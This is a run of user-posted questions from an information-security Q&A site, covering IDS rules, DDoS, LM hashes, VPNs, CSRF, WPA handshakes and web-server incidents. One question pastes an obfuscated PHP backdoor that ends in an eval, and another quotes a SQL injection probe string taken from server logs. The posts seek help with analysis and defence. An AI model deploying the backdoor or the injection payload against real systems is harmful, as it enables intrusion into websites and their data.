Are there known techniques to obfuscate IDS rules, so they can't be easily used by attackers to reverse-engineer the vulnerability that they detect? Let me provide some context. Sometimes IDS vendors become aware of a zero-day vulnerability (one that has not yet been publicly disclosed). In that situation, one can create a rule to detect exploitation of that vulnerability and push it out to everyone, to try to prevent exploitation of the vulnerability... but this incurs a new risk. In particular, an attacker might be able to analyze the IDS rule and use that to gain some clues that make it easier for the attacker to identify the vulnerability and start using it to attack other systems. So, in a world where some people are slow to patch and don't use the IDS, there's the risk that pushing out such a new rule might (perversely) increase overall exploitation of the zero-day vulnerability, rather than decreasing it. Are there any known techniques to mitigate this risk, and make it harder for attackers to learn anything useful from new IDS rules? For instance, is there a way to distribute the IDS rule in an obfuscated or encrypted form, so end users can still use it to detect attacks but attackers who aren't already familiar with the vulnerability can't use the rule to re-discover the vulnerability and start attacking others?
I have been asking myself for a while what's the purpose of that popup showing up in pretty much all the modern browsers upon entering the full-screen mode of a video or website. It appears to be a security measure against some sort of potential threats, but what is it about exactly? Which attack scenarios could be carried out without that?
Is there any way in which you can stop a DDoS attack(or any measure that you can take), if the packets sent by the attacker look like normal traffic? I got the question on an interview (how would you block a DDoS attack if the malicious traffic looks like the normal traffic?) and I didn't knew how to answer. Thank you very much!
So, I have this strange list of rundll32.exe There are quite a lot of rows of it (see attached image) when I open the process tab in my task manager I've already read the link here: Multiple running instances of rundll32.exe The patterns appeared to be in the cmd line column rundll32.exe mhunkw.dme, For example, in my screenshot you will see rundll32.exe mhunkw.dme,krvvjwa rundll32.exe mhunkw.dme,oxvlyk ... rundll32.exe mhunkw.dme,szswzunt the list goes on. Any idea what this is?
I want to get a VPN with one of the known providers. I don't know much about VPNs but I know they issue certificates which you download and it authenticates the connection and basically gives access. I have some questions though. When you download the VPN certificates, even though they're being downloaded through HTTPS are they actually safe from eavesdroppers and your ISP? Let's say the encrypted HTTPS was stored and then decrypted and those certificates were uncovered, wouldn't pretty much give them total access to the VPN connection? Are iVPN and Mullvad good VPNs for privacy? If you use the VPN provider's client do you still need to download "network-manager-openvpn" from the repository? The VPN client from the provider(s) is open source and shouldn't be backdoored but could still have exploits so the question is does it mean a new attack vector against the host? I don't think I've fully realized how VPNs work so forgive me. If somebody could explain to me how I have understood it wrong it would be appreciated. EDIT: What I ment in the first question was regarding the initial download of the configuration certificates and if it would be possible for a malicious third party to gain access to them during download or even decrypt the HTTPS sometime after download of the certificates and therefore have the keys to the connection.
For example, if a user is receiving a denial of service attack, with huge amounts of packets being sent to him to disrupt his service, will the ISP notice and stop the offending traffic? Another example, if someone has an internet-facing VNC server and a bad guy is trying to bruteforce the password with tons of login attempts, will the ISP notice and stop the attempts? In the answers I would like to know if it would be possible/practical/likely for ISPs to implement these things, and why.
To get rid of LM hashes in local SAM databases, one can rely on the famous NoLMHash domain GPO, which instructs clients not to store password hashes with the LM algorithm locally ("Do not store LAN Manager hash value on next password change"). However, as the policy's label clearly mentions, it has no immediate effect to hashes already stored in various clients' SAM databases. Of course, each user will have to change his password in the next few weeks, and the NoLMHash policy will be enforced such that their new password's LM hash won't be stored anymore, but this isn't true for any other user who logged in on that same station in the past (think of IT staff, help-desk support, user who previously owned that same computer, etc.). These passwords will never be changed on that same workstation again, and thus are still vulnerable to LM hash reversal (or did I missed something?). Even if these reversed passwords are not valid anymore because of the rotation policy, an attacker could probably easily find a pattern among all users (if a given LM hash is reversed to, say, "Colorado$04-2014" and this password has expired, there's still a chance that this user's subsequent password has been set to something like "Colorado$07-2014"). My question is: is there a way (a command, a script, whatever) to find out if there still are LM hashes stored on a given computer? Said in another way, I would like to make sure that, on a given computer, only NTLMv2 hashes are stored. Thanks for your help!
Recently Google has indicated that a HTTPS certificate will be used as a positive signal in it's search rankings. This has caused some discussion within our company as to if we should apply a HTTPS certificate to our new site. However, our site contains no login details, does not carry user data, and is effectively static content. This combined with the fact that Google has stated that it will only be used as a small factor, means that I feel like it would be overkill and not required. However others at the company are saying "what's the harm, it can only help". Other than the cost, are there any downsides to HTTPS?
I'm a little confused about something I am reading in Bulletproof SSL. "TLS 1.2 is the only protocol that allows suites to define their PRFs. This means that for the suites defined before TLS 1.2 the negotiated protocol version dictates the PRF. For example, the TLS_RSA_WITH_AES_128_CBC_SHA suite uses a PRF based on HMACSHA256 when negotiated with TLS 1.2 but a PRF based on a HMAC-MD5/HMACSHA combination when used with TLS 1.0. On the other hand, SHA384 GCM suites (which can be used only with TLS 1.2 and newer) will always use HMAC-SHA384 for the PRF." The cipher in the example above is listed as a TLSv1.0 cipher from the OpenSSL page. However it says here that it can be negotiated as TLSv1.2? What am I missing? (Obviously a lot I know that but be gentle:)) I was under the impression that a 1.0 ciphers could only be negotiated as 1.0.
I found this piece of code hosted on my website I'm sure it's a malware. Any have an idea what this script does or how to deobfuscate? <?php $nkIL3_='Hn'&~hTzup;$TTCpX='HEr@D@(DEi&'\|'HD"AN`(T$I.';$fGZGQD2=l5fg.'{3Ht&d~'&'\|,'./'. 'gri/Nenwkf.'\|3n';$u4avG3='K\|P'^".<t";$n9s='om\|wo~'&'om}e~~';$cX8W='O]P'^#gg_'. '#9e';$iPPiO='%'.q6nfB\|sUuI.')6';$pU9KRba5mS='Ov~'&'x]U';$pGocQU=P&P;'GDQNB1wL'. ']lYd2GC]o';$SEAp9cm9=_a&_M;$CBiIA=iUVv_Z_UR_OOwCIP_iO&'^'.vTY_.'\|'./RKGtqf6J'. 'Zc/_Wu_DEVOcx_I.'}';$QjgmVTedxc="M@"\|AE;$oyL1tNw='j3x s'^'.'.l9l6;$gI_Y=#Rsx'. ',)'^'~}';$pai4hk=$TTCpX\|$fGZGQD2;$KaQhBHF8=$u4avG3\|$cX8W;$Hz=$n9s&$iPPiO;'jH2'. '5r';$JeFqqp=(' '.bb3ra5.'`14@#$11t&7G4-'.Bb6y.')% 92E '\|'5gB9@!!qS%2B0%8W0!fC'. 'X&v-'.Z16w0.'$u4')&("VOW@F.H^N0f/".CkOjFNlm."&}Y\|6EOA)VH"^'()9}'.rMw1.#udQP_'. '}ET]'.QtTxUq.'([YHM.@D2p:Si<');if(!$pai4hk($KaQhBHF8($Hz($pU9KRba5mS./yPL33m'. 'Y,:(gnZ~9/$pGocQU.$SEAp9cm9)),$JeFqqp))eval($Hz($CBiIA.$QjgmVTedxc./X1lpmOJ'. '\|-$J/$oyL1tNw.$gI_Y));#d={{x(o$W#fd5B\|}h-_Jgj_.9z[.XU^Iu1ZY6w;9!w xNxzp~bG^'. '}XB}zIH.\|qChIrS(l5GFy?b#lA:.!FHk0XG8v-a3GwnSkyI\|vWMErYG~8hT!H%FlxPK';
During a security audit, our client found that we are sending to the client a cookie called 'x-oracle-dms-ecid'. They asked to disable it or change its name. We have been reading all the Oracle documentation available, but we couldn't find any useful reference. So my questions are: How can this cookie be changed or disabled? What exactly is it used for and what are the possible consequences if we change it? Is it really a security incident?
In an example scenario consider that; I am a customer of organisation and I have two separate accounts with two different departments X and Y. I can login in to each department's website by using user id and password that is unique for each department. To update my personal details in any deprtment, I have to call this service provider and use a PIN code (sent to me earlier, through a secure channel). They have separate teams for each department so X doesn't know about Y. Although I have separate profiles/accounts for each department, note that the PIN code is the same whether I call department X or Y. In this scenario both departments have different levels of allowed actions associated with PIN code. For example I am not allowed to change my address when calling department X with this PIN because its considered lower level authentication factor. However if I want to do the same in department Y, I may be allowed to so because it is considered as higher level authentication factor. Now the problems I see in this scheme are: A fraudster who has somehow skimmed my basic details, like Name, DOB etc can call department X ask for this PIN (which ironically can be given over the phone) because its considered to allow only low risk operations. Consequently once the fraudster gets this PIN, he can then call into department Y and perform changes without being challenged because its allows high risk operations. Second problem is that same PIN number is used for two different departments. Now my question is that consider I can't have separate PIN codes's and they can't have same level of authentication associated to them for X and Y. What can the organization do to stop fraudulent use of PIN code across different departments Is there a way to maintain the validity of credentials by associating change of scope (department which resets/re-issues PIN code) and extent (change of personal information) to PIN code. So that misuse can be stopped.
I recently tried to use Fiddler2 from a third-party vendor Telerik. While decrypting the HTTPS traffic of my network, it asked me to install its own root certificate in my Windows operating system: Take a look at the below screenshot: Is it safe to trust these kind of root certificates? What are the preventive measures to be taken when installing such root certificates?
Do I have to keep the revocation certificate of my OpenPGP key in a safe place or may I place it in e.g. Dropbox to have it ready on all my machines? I know that, if compromised, the certificate can be used by anyone to revoke my key. I am just assuming my Dropbox/whatever place is reasonably secure from unallowed access.
I have a key pair stored in GPG Keyring. If I export it to an ASCII Armored format, am I removing any layers of security as long as the exported key stays on the same server as the key ring itself? My private key is still secured by a passphrase even after export. For someone who breaks into my server is it equally easy to crack my exported key as the Keyring?
Below is the hash function implementation of the roguewave library. It returns a 32 bit hash. The core operation is A = B ^ ((C << 5) \| (C >> 27)). Is this hash safe to use as a password check or is it possible to retrieve all used B's by reversing it? const unsigned RW_HASH_SHIFT = 5; inline static void mash(unsigned& hash, unsigned chars) { hash = (chars ^ ((hash << RW_HASH_SHIFT) \| (hash >> (RWBITSPERBYTEsizeof(unsigned) - RW_HASH_SHIFT)))); } unsigned RWCStringRef::hash() const { unsigned hv = (unsigned)length(); // Mix in the string length. unsigned i = length()sizeof(char)/sizeof(unsigned); const unsigned* p = (const unsigned)data(); { while (i--) mash(hv, p++); // XOR in the characters. } // XOR in any remaining characters: if ((i = length()sizeof(char)%sizeof(unsigned)) != 0) { unsigned h = 0; const char c = (const char)p; while (i--) h = ((h << RWBITSPERBYTEsizeof(char)) \| *c++); mash(hv, h); } return hv; }
Before I start, all information will go over HTTPS. So, my website is basically like a forum with the authentication part finished and working. This forum has a real time chat application that sends and receives information from a Node.js server. I want people to only be able to send information if logged in, and only from their account. So I'm planning on doing it this way: User logs in (the forum not the chat client) PHP sets a cookie with a security token that is a randomly generated HEX string (using the function mcrypt_create_iv, with a random length between 15 and 22 characters) The token is also saved into a MySQL database, along with the user ID When the user sends a message through chat, his user ID will also be sent, along with his security token The Node.js server will compare the security token in the database to the user ID, and if they match, the user will be able to chat Is this a good security scheme, if not why and how can i improve it? Thanks
Is Information Security field and Data Security field same? If not then, What is the basic difference between "Information" and "Data" in security field? Is Data Security a sub-category of Information Security? Is Data Security field limited at some sectors only? ---if yes then what are they?
Would it be possible for a user of a 3rd party VNC software package and email client to obfusicate/spoof their location, so that an employer would be unable to determine the location from which the user is working remotely? Could one potentially set up a home server to pass connections through - so as to appear to be operating from home?
I am really confused of what CSRF is. I know it stands for Cross-site request forgery. http://en.wikipedia.org/wiki/Csrf When you read it here it talks about cross site request forgery attack. But sometimes people use it to refer to the randomized string or token generated by server to make sure each request is from correct issuer. If it is a token, my understanding is it can be stored in a cookie or http header. When it is stored in a cookie does the token name always have to be the same? Is there standard token name I should be looking for like CSRF=!@#(@!#@(!#JIJ@#KLJKLJLJ. In my particular application I see __RequestVerificationToken_ followed by bunch of random characters. Is that CSRF? Can you name your CSRF token name to whatever you like? PS: So I guess people can use CSRF token or CSRF attack to differentiate between the two. But if they just use CSRF which one are they really referring to?
Today there is news about smartphone OS (Android, Windows and iOS) security hole using which some researchers have found a way to literally read all user activity from mobile screen. This is one of the articles giving the news. The article also notes that this is security hole is because of how shared memory works. But there are no tips given to protect users. Is there any way to detect if any app is already using this exploit on my phone?
There is a OpenBSD (64bit; 5.5) server having nginx (HTTP/HTTPS) and SMTP (OpenSMTP). Question: What are the best practices to detect suspicious activity? Are there any scripts that shows interesting activity from the logs or somewhere? Attacks, DDOS, any abnormal activity? Example for detecting IP addresses that connected too many times: dos.awk function max(arr, big) { big = 0; for (i in cat) { if (cat[i] > big) { big=cat[i]; } } return big } NF > 0 { cat[$1]++; } END { maxm = max(cat); for (i in cat) { scaled = 60 * cat[i] / maxm; printf "%-25.25s [%8d]:", i, cat[i] for (i=0; i<scaled; i++) { printf "#"; } printf "\n"; } } How to use it: tail -n 1000 /var/www/logs/access.log \| awk -f dos.awk \| sort -nrk3 \| less
I recently learned that every packet includes checksum bytes and that the computer will request the packet again if the checksums don't match. How do the following attacks defeat such a safeguard? ARP Spoofing - I assume that this is able to take place because the attacker is not actually modifying the packet contents, just intercepting them in transit and then relaying them to the original, intended recipient. Am I correct? Insertion Attacks (via ARP spoofing) - By insertion attacks I'm referring to text and image replacement and substitution. In this instance, while the attacker performs the same type of attack as above, I know he must be modifying the packet's content (changing text or images). So why doesn't the recipient reject the packet? Can checksums be recalculated or regenerated after the packet is modified?
I am new to security and encryption. I want to store important information like passwords and pin codes so I don't forget them. So far I have been using LastPass but I would prefer a solution I control my self. From reading a lot on the net it seems to me that 7-zip with AES 256 encryption is the way to go. But what about the temporary files while opening/editing the content? The temporary files are being deleted (as far as I can see at least) but I guess deleted files can be recovered? Here is the process I would use (suggestions fro improving it are most welcome!): create SECFILE.txt on desktop open, write, save/close right click SECFILE.txt, add to archive... type password, click Ok (SECFILE.7z is created same place, 7-Zip closes) shift-delete SECFILE.txt open SECFILE.7z, enter password hit F4 to open SECFILE.txt in Notepad, read, close or... edit (as you start typing a temp copy will be created) save/close Notepad back in 7-Zip hit Ok in pop-up to update archive On Android (I want to be able to read my information on my smartphone too) the app ZArchiver works fine to open and read files. My computer runs Windows 8.1 and the file system is encypted with BitLocker. My smartphone (currently a Samsung Galaxy S4) can also be encrypted and I password protect it with a pincode. But lets say somebody got access to my computer or smartphone. Would the temporary files be an issue? TEMP files: Z-Zip (PC): C:\Documents and Settings\\Local Settings\Temp\7z#####.tmp ZArchiver (Android): /storage/emulated/0/Android/data/ru.zdevs.zarchiver/temp
I have a laptop with processor intel core i7 with turbo boost up to 2:7 ghz 8gb rams and gpu NVIDIA GeForce GT 740M (2 GB DDR3 dedicated) i want to know in approximation how fast ( in word/sec) can this computer crack a wpa password in bruteforce attack using airecrack-ng tools before i get linux kali and try cracking
I'm setting up a Mac laptop for my wife. Mine has a ridiculously strong password, but she finds this annoying. If I give her a (relatively) weak password for convenience, what risks am I taking? A couple I can think of: An attacker in person guessing or brute forcing it (unlikely) An attacker brute forcing and getting an SSH connection (unlikely if we're behind a firewall?) What else?
I am struggling trying to understand use after free vulnerabilities, can someone explain it for me with C language source code, and how it can be used to write to arbitary memory location or to cause code execution
I have just finished building a CMS targeted at a certain industry and built a test site to see how everything works. I wrote a program to check for SQL injection vulnerabilities and the program followed a blog link to an external website. The program discovered that the external site had a massive vulnerability that left it open to practically anyone who could then access every bit of data on their MySQL Server and run queries etc. The thing is this external site is the brand leader in their industry and do millions upon millions of sales per annum. I have tried contacting them to let them know and even went as far as contacting the company that built their platform but I was pretty much brushed off and haven't heard back from them. Their database would contain the details of hundreds of thousands of customers and all their data. I could easily make myself site admin etc in a few seconds but they won't listen to me even though I have offered to share the vulnerability with them and help in anyway I can. Is there anything else I can do because it is one of the biggest security risks I have ever personally come across. Is there any other steps I should take to report this?
Yesterday my friends Samsung Galaxy S3 was stolen. We have found the perpetrator but cannot yet prove anything. He is uploading photos to social media via the phone. Is there any chance to download and analyze the photo by some means to see from what device it was shot? What can we do in a circumstance such as this? The device also contains sensitive data. What can we do ?
From my understanding this is how WPA2 works for home networks: PSK (Pre-Shared Key) is used to generate PMK (Pairwise Master Key), which is used together with ANonce (AP Nonce) to create PTK (Pairwise Transient Key). PTK is devided into KCK (Key Confirmation Key, 128 bit), KEK (Key Encryption Key, 128 bit) and TEK (Temporal Encryption Key, 128 bit). KCK is used to construct MAC in EAPOL packets 2,3 and 4. KEK is used to encrypt some data sent to client(for example GTK). TEK is used for encrypting traffic between client and AP, later during session. Now the WPA 4-way handshake: AP sends ANonse (AP Nonce) to client, which is basically a random Integer of 256 bits. Client use the ANonce and PMK to generate PTK (Pairwise Transient Key), and send CNonce (Client Nonce) and MAC. AP sends MAC and GTK (Group Temporal Key) to client. Client send ACK with MAC. Now, how does handshake cracking work (for example dictionary attack) if the whole PTK isn't used (KCK and KEK are used during handshake, but TEK isn't)? I understand that the words from dictionary are used as PSK to generate PMK and Anonce (which is also captured in handshake) to generate PTK, but how can I know when PTK is correct when 1/3 of the key is never used?
I am wondering if there is any list I could access to find TeamViewer ID's, as the police are not being helpful about this.
Is there any reliable data available based on which the Global Market Size of Virtual Pen Testing Labs ( or Cyber Ranges ) can be ascertained ? If NOT , is it possible to calculate it ?
I've seen an application recently that used the Diffie Hellman algorithm. It is not a Ephemeral Diffie-Hellman implementation, but rather a Diffie Hellman one. After the secret keys have been calculated, the client then sends a SHA-512 hash of the key to the server when the server asks for it. The only reason I can think of is, the server computes a SHA-512 hash of its secret key and requests the clients hash to detect MITM attacks. Is this wise? safe? What other reason would the application need to do this for?
Today, early in the morning. My dedicated server was slowing because there was numerous requests coming. One error I remember is some message from MYSQL, it said something similar to, max_number_of_connections exceeded. It felt weird because the site I'm working on isn't launched yet, this huge traffic was just unreasonable. When I went to see the numbers of users online, it was also huge. A same IP address was attempting to go to my links (like 1000 links / second). Most of them returned 404. I didn't save them nor I did remember the weird links were shown. I went to cPanel my PHP server, to see that the error_log is huge (Last day it was 4.0 KB): It keeps on getting bigger, I was able to extract this, it seems like it's the repeated pattern. [20-Aug-2014 20:49:58 Europe/Vilnius] PHP Warning: feof() expects parameter 1 to be resource, boolean given in /home/george/public_html/includes/functions.php on line 4252 [20-Aug-2014 20:49:58 Europe/Vilnius] PHP Warning: fread() expects parameter 1 to be resource, boolean given in /home/george/public_html/includes/functions.php on line 4254 [20-Aug-2014 20:49:58 Europe/Vilnius] PHP Warning: feof() expects parameter 1 to be resource, boolean given in /home/george/public_html/includes/functions.php on line 4252 [20-Aug-2014 20:49:58 Europe/Vilnius] PHP Warning: fread() expects parameter 1 to be resource, boolean given in /home/george/public_html/includes/functions.php on line 4254 [20-Aug-2014 20:49:58 Europe/Vilnius] PHP Warning: feof() expects parameter 1 to be resource, boolean given in /home/george/public_html/includes/functions.php on line 4252 [20-Aug-2014 20:49:58 Europe/Vilnius] PHP Warning: fread() expects parameter 1 to be resource, boolean given in /home/george/public_html/includes/functions.php on line 4254 [20-Aug-2014 20:49:58 Europe/Vilnius] PHP Warning: feof() expects parameter 1 to be resource, boolean given in /home/george/public_html/includes/functions.php on line 4252 [20-Aug-2014 20:49:58 Europe/Vilnius] PHP Warning: fread() expects parameter 1 to be resource, boolean given in /home/george/public_html/includes/functions.php on line 4254 [20-Aug-2014 20:49:58 Europe/Vilnius] PHP Warning: feof() expects parameter 1 to be resource, boolean given in /home/george/public_html/includes/functions.php on line 4252 [20-Aug-2014 20:49:58 Europe/Vilnius] PHP Warning: fread() expects parameter 1 to be resource, boolean given in /home/george/public_html/includes/functions.php on line 4254 [20-Aug-2014 20:49:58 Europe/Vilnius] PHP Warning: feof() expects parameter 1 to be resource, boolean given in /home/george/public_html/includes/functions.php on line 4252 [20-Aug-2014 20:49:58 Europe/Vilnius] PHP Warning: fread() expects parameter 1 to be resource, boolean given in /home/george/public_html/includes/functions.php on line 4254 [20-Aug-2014 20:49:58 Europe/Vilnius] PHP Warning: feof() expects parameter 1 to be resource, boolean given in /home/george/public_html/includes/functions.php on line 4252 [20-Aug-2014 20:49:58 Europe/Vilnius] PHP Warning: fread() expects parameter 1 to be resource, boolean given in /home/george/public_html/includes/functions.php on line 4254 [20-Aug-2014 20:49:58 Europe/Vilnius] PHP Warning: feof() expects parameter 1 to be resource, boolean given in /home/george/public_html/includes/functions.php on line 4252 [20-Aug-2014 20:49:58 Europe/Vilnius] PHP Warning: fread() expects parameter 1 to be resource, boolean given in /home/george/public_html/includes/functions.php on line 4254 [20-Aug-2014 20:49:58 Europe/Vilnius] PHP Warning: feof() expects parameter 1 to be resource, boolean given in /home/george/public_html/includes/functions.php on line 4252 [20-Aug-2014 20:49:58 Europe/Vilnius] PHP Warning: fread() expects parameter 1 to be resource, boolean given in /home/george/public_html/includes/functions.php on line 4254 [20-Aug-2014 20:49:58 Europe/Vilnius] PHP Warning: feof() expects parameter 1 to be resource, boolean given in /home/george/public_html/includes/functions.php on line 4252 [20-Aug-2014 20:49:58 Europe/Vilnius] PHP Warning: fread() expects parameter 1 to be resource, boolean given in /home/george/public_html/includes/functions.php on line 4254 [20-Aug-2014 20:49:58 Europe/Vilnius] PHP Warning: feof() expects parameter 1 to be resource, boolean given in /home/george/public_html/includes/functions.php on line 4252 [20-Aug-2014 20:49:58 Europe/Vilnius] PHP Warning: fread() expects parameter 1 to be resource, boolean given in /home/george/public_html/includes/functions.php on line 4254 [20-Aug-2014 20:49:58 Europe/Vilnius] PHP Warning: feof() expects parameter 1 to be resource, boolean given in /home/george/public_html/includes/functions.php on line 4252 [20-Aug-2014 20:49:58 Europe/Vilnius] PHP Warning: fread() expects parameter 1 to be resource, boolean given in /home/george/public_html/includes/functions.php on line 4254 [20-Aug-2014 20:49:58 Europe/Vilnius] PHP Warning: feof() expects parameter 1 to be resource, boolean given in /home/george/public_html/includes/functions.php on line 4252 [20-Aug-2014 20:49:58 Europe/Vilnius] PHP Warning: fread() expects parameter 1 to be resource, boolean given in /home/george/public_html/includes/functions.php on line 4254 [20-Aug-2014 20:49:58 Europe/Vilnius] PHP Warning: feof() expects parameter 1 to be resource, boolean given in /home/george/public_html/includes/functions.php on line 4252 It seems like error has been printed millions of time, it made the error_log 1.7 GB so far. What can I do? Is there a an easy way I could block an IP address using some software to disrupt my server?
What is the risk, man-in-the-middle or otherwise, of unencrypted connections between 2 people who use the same ISP, in the same city? If we assume the ISP (and the copper wire that leads to them) is secure, is there a fairly limited risk level? (excluding government surveillance, NSA, etc.)
According to https://support.google.com/accounts/answer/6010255: Google may block sign in attempts from some apps or devices that do not use modern security standards. Since these apps and devices are easier to break into, blocking them helps keep your account safer. What are those "modern security standards" and why is it dangerous to allow apps which do not support them? Also, is it dangerous to enable the option (allow less secure apps) if you do not use those apps? If so, why? I believe it might be OAuth2.0 over IMAP (according to this page). As far as I know, this is Google's own extension and is not used by any other service providers. In my specific case I was trying to access my Gmail account using Kmail (v4.14.0) and IMAP.
I am enrolling myself into a college. College provides a Public WiFi Access Point, to access internet through its network, which is unencrypted (No password). As being a programmer for last one and a half years, I know of some common attacks that any noob will want to try on public network (Packet sniffing using wireshark, etc.) but I don't know how these attacks work. I just want to know how much vulnerable I will be to these attacks on this network. Also, how can I make my Machine isolated from these attacks? Also if somebody could tell me the possible points of data packet interception, it will appreciated. I will running Linux Ubuntu 11.10 + Windows 7 Ultimate on my machine.
I was doing some cross-origin requests to Soundcloud's oEmbed and I noticed some strange behaviour. When doing a request from my localhost, which is on a regular HTTP connection, everything worked fine. However, when the code got pushed on our HTTPS test server, I got the following error from my browser: [blocked] The page at 'https://example.com' was loaded over HTTPS, but ran insecure content from https://www.soundcloud.com/oembed?url=https://soundcloud.com/gwatsky/pumped-up-kicks-remix&format=js&callback=JSON_CALLBACK: this content should also be loaded over HTTPS. The request URL is //www.soundcloud.com/oembed?url=https://soundcloud.com/gwatsky/pumped-up-kicks-remix&format=js&callback=JSON_CALLBACK. Note the "www.". I tried specifying the protocol to HTTPS and removing/specifying the protocol in the url parameter, but I kept getting the error. In the end I removed the www. from the URL and everything started working fine. tl;dr Why is having www. in this HTTPS URL considered a security risk?
I get a lot of logs saying someone is trying to reach /sign_in?t=login'+union+select+char(38,126,33),char(38,126,33),char(38,126,33),char(38,126,33),char(38,126,33),char(38,126,33),char(38,126,33),char(38,126,33),char(38,126,33),char(38,126,33),char(38,126,33)+--+ now, /sign_in?t=login is a valid url. the rest is the sqli attempt.. What are they trying to do?
Changes made to system proposed in Two-factor authentication Without Mobile Phone: In previous system, shoulder surfing would reveal the user’s pre-decided image. In the current system, end image does not reveal any useful information. The user’s start image and path cannot be backtracked from the end image, since the user clicks only end image. The current system is not vulnerable to shoulder surfing. Increased grid size from 28 to 40. 40 images can be displayed in proper size on screen, without making screen too cramped and keeps easy for user to find his start image. Removed User Enumeration Vulnerability by adding password in Step 1. In the previous system, user had 3 chances to write correct password related to his image. That has now been reduced to just 1 mouse click, decreasing chances given to a hacker for a single session. I have developed a graphical authentication system, consisting of two-step authentication. The first step is normal user id – password authentication and the second step is the graphical authentication. I have tried to maintain the tradeoff between security and user experience. I have applied a patent for this system. Two-factor authentication surely does provide extra security, but also has some issues. So, I tried to develop an authentication system which would provide some extra security without considerable loss in user experience. In short, for the second step, the user has to remember a Start image and a Path. Every time the user will try to login, the Start image will be placed at a valid random position, so on applying the Path from the Start image, the user may get a different End image every time. The user only has to click the End image. Detailed description is as follows: While registering, the user has to choose a user id and a password, required for first step of the authentication. Then he has to choose his Start image. Then his Start image would be displayed in a grid, where he has to choose his Path to get the End image. Now, after the account is created, when the user will try to login, he will first enter his user id and password. After passing this first step, the second step page will be displayed. The second step consists of a grid of 40 images; the number of images is not too small or too large. The user’s Start image will be placed at a valid random position in the grid, along with 39 other images which will be the same for the user for each login session, so that the hacker does not get to know the Start image by observing multiple sessions. The user has to find his Start image in the grid and apply the Path from it, to get the end image. The user only has to click the End image. Depending on the position of the Start image, the end image could be different every time. This second step page is valid only for 90 seconds and redirects to the main page if the user has not chosen the End image. The user authenticates successfully if he chooses the correct end image for the session. The system takes care that the Start image gets placed at a position, such that after applying the Path, the End image’s position is in the grid. Now, if the user logs out and tries to login again, he'll have to pass step 1 and then in step 2, the page could be displayed as: The grid would have shuffled. Similarly, for next login attempt, step 2 page could be: and so on... I would like to have some comments on entropy of the system. The only way by which a hacker can bypass this, is by randomly guessing an image each time. Is there any other way? Is this system usable in real-time?
Im building an app which should receive data from my server. The Api should be a PHP based script which provides the data as JSON. However I want to keep the data private and it should only be accessible by the app itself. How can I prevent others from reengineering my app and find a way to access the API? I thought about using a API key for the main access and SSL to prevent the data from being read while performing a man in the middle attack, but how can I hide the GET request itself or should I use some kind of PGP and encrypt the data itself?

Subsets and Splits

No community queries yet

The top public SQL queries from the community will appear here once available.